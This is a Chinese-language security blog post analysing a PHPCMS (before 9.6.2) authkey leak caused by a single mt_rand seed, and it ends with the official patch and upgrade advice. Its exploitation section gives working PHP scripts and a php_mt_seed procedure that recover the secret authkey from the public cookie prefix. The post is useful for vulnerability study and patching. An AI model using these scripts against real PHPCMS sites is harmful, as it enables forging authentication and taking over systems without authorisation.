phpcms小于V9.6.2 authkey泄露漏洞分析

Phpcms官方最近陆陆续续发了好几个补丁,目前最新的是9.6.3,在9.6.2的时候官方修复了一个由于随机数生成的问题导致的authkey泄露的漏洞,导致攻击者拿到系统authkey之后进一步利用其它问题对系统进行攻击。

漏洞分析

问题产生在系统安装的时候,再生成cookie前缀和authkey的时候,文件install/install.php

这里使用random函数联系生成了cookie_pre和auth_key两个值。

看一下这里random函数的实现,文件\phpcms\libs\functions\global.func.php

Random函数就是用来产生随机字符串的。

这里使用了mt_rand来生成chars的索引,然后从chars中取出来length长度的字符串,最后生成authkey。
可以看到这里在使用mt_rand生成随机数之前没有手动播种,所以使用的是php自己播的种子,但是在一个PHP脚本中使用mt_rand产生多个随机数的时候, 系统只播了一次种
那么问题也就来了:mt_rand生成的cookie_pre和authkey的种子是一样的
cookie_pre从名字就能看出这个是cookie名称的前缀, 所以是可以拿到的, 那么只要用cookie_pre的值爆破到了种子的话, 那么也就是拿到了生成authkey的种子。
因为种子确定了的话, 产生的随机数序列就可以确定了, 也就是每次的索引可以确定了, 就可以拿到authkey得值了。

至于通过随机数值来爆破种子的过程,不用担心,随机数的种子是有一定范围的,已经可以成功爆破出来了,而且已经有外国朋友写了一个工具:php_mt_seed

(官方使用说明:http://www.openwall.com/php_mt_seed/README

下面我们来看看这个工具的简单实用:

首先我们使用mt_rand生成两个随机数,然后拿一个随机数使用工具爆破一下种子:

这里爆破出来7中可能的种子,下面我们来逐一验证一下种子:

可以看到其中一个种子是正确的,验证了我们的上面所说的,多次使用mt_rand生成随机数时系统只播一次种。

所以同理这个在这个漏洞中,只要我们拿到cookie_pre然后爆破种子,在拿种子生成随机序列,最后就能拿到authkey的值了。

漏洞利用:

首先我们来获取一下cookie_pre,就是cookie的前缀了,通过url:

http://localhost/phpcms_v9.6.1_UTF8/index.php?m=wap&a=index&siteid=1

这里的cookie_pre就是dQHiD,也就是第一随机数了。

由于这里的漏洞是使用for循环连续产生多个随机数为索引,然后取索引对应的值,那么我们就要先获取cookie_pre在字符串中的索引,也就是在字符串中的位置,具体代码如下:

<?php 
$str = $argv[1];
$randStr = "abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ";
 
for($i=0;$i<strlen($str);$i++){
        $pos = strpos($randStr,$str[$i]);
        echo $pos." ".$pos." "."0 ".(strlen($randStr)-1)." ";
        //整理成方便 php_mt_seed 测试的格式
        //php_mt_seed VALUE_OR_MATCH_MIN [MATCH_MAX [RANGE_MIN RANGE_MAX]]
}
echo "\n";
?>

使用上面的代码我们生成第一个随机数的索引位置,整理成方便php_mt_seed测试的格式。

上面脚本生产的值为:

3 3 0 51 42 42 0 51 33 33 0 51 8 8 0 51 29 29 0 51

然后使用php_mt_seed工具来爆破种子:

这里一共得到11个可能的种子,然后验证一下那个种子是正确的,并且获取authkey的值,具体代码如下:

<?php
function random($length, $chars = '0123456789') {
    $hash = '';
    $max = strlen($chars) - 1;
    for($i = 0; $i < $length; $i++) {
        $hash .= $chars[mt_rand(0, $max)];
    }
    return $hash;
}

mt_srand($argv[1]);
$cookie_pre = random(5, 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ').'_';
$auth_key = random(20, '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');
echo $cookie_pre."\n\r";
echo $auth_key."\n\r";
?>

获取到正确的authkey值:YuXRLbM9EwF8RzbyzWul

来验证一下我们获取的authkey是否正确:

漏洞修复:

官方在发布的9.6.2版本中修复了此漏洞,补丁地址:

http://download.phpcms.cn/v9/9.0/patch/utf8/patch_20170412_20170503_UTF8.zip

来看一下补丁的修复情况:

可以看到这里在每次生成随机数之前都手动播了一次种子,那么我们就猜不到第二次生成authkey时候的种子了,那也就不能破解到authkey的值了。

所以请升级到9.6.2以上或者最新版即可。

参考链接:

http://www.openwall.com/php_mt_seed/README

http://wonderkun.cc/index.html/?p=585

如果您需要了解更多内容,可以
加入QQ群:570982169
直接询问:010-68438880

Spread the word. Share this post!

Meet The Author

Leave Comment